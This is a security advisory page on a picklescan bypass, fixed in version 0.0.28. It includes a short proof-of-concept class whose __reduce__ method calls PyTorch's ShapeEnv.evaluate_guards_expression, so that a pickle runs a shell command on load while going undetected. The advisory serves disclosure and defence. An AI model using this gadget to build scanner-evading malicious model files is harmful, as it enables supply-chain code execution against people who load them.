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TI-2025-43731 Aliases GHSA-f4x7-rfwp-v3xw

Picklescan missing detection when calling pytorch function…

Priority LOW 38CWE-345Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
Security bypass
Confidentiality · integrity · availability
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Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-345.

Summary

### Summary Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import types import torch.fx.experimental.symbolic_shapes as symbolic_shapes class EvilTorchFxSymbolicShapesEvaluateGuardsExpression: def __reduce__(self): fake_self = str code = "__import__('os').system('whoami')" args = [] return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

Why it matters now

Fix Fixed picklescan (PyPI): 0.0.28

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—picklescan (PyPI)before 0.0.280.0.28Patch availableGHSA-f4x7-rfwp-v3xw
  • picklescan (PyPI) Vendor— Affected before 0.0.28 Fixed in 0.0.28 Patch available GHSA-f4x7-rfwp-v3xw

Remediation

  • Fix · GHSA-f4x7-rfwp-v3xw picklescan (PyPI) Fixed in 0.0.28 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-f4x7-rfwp-v3xw

References

Sources

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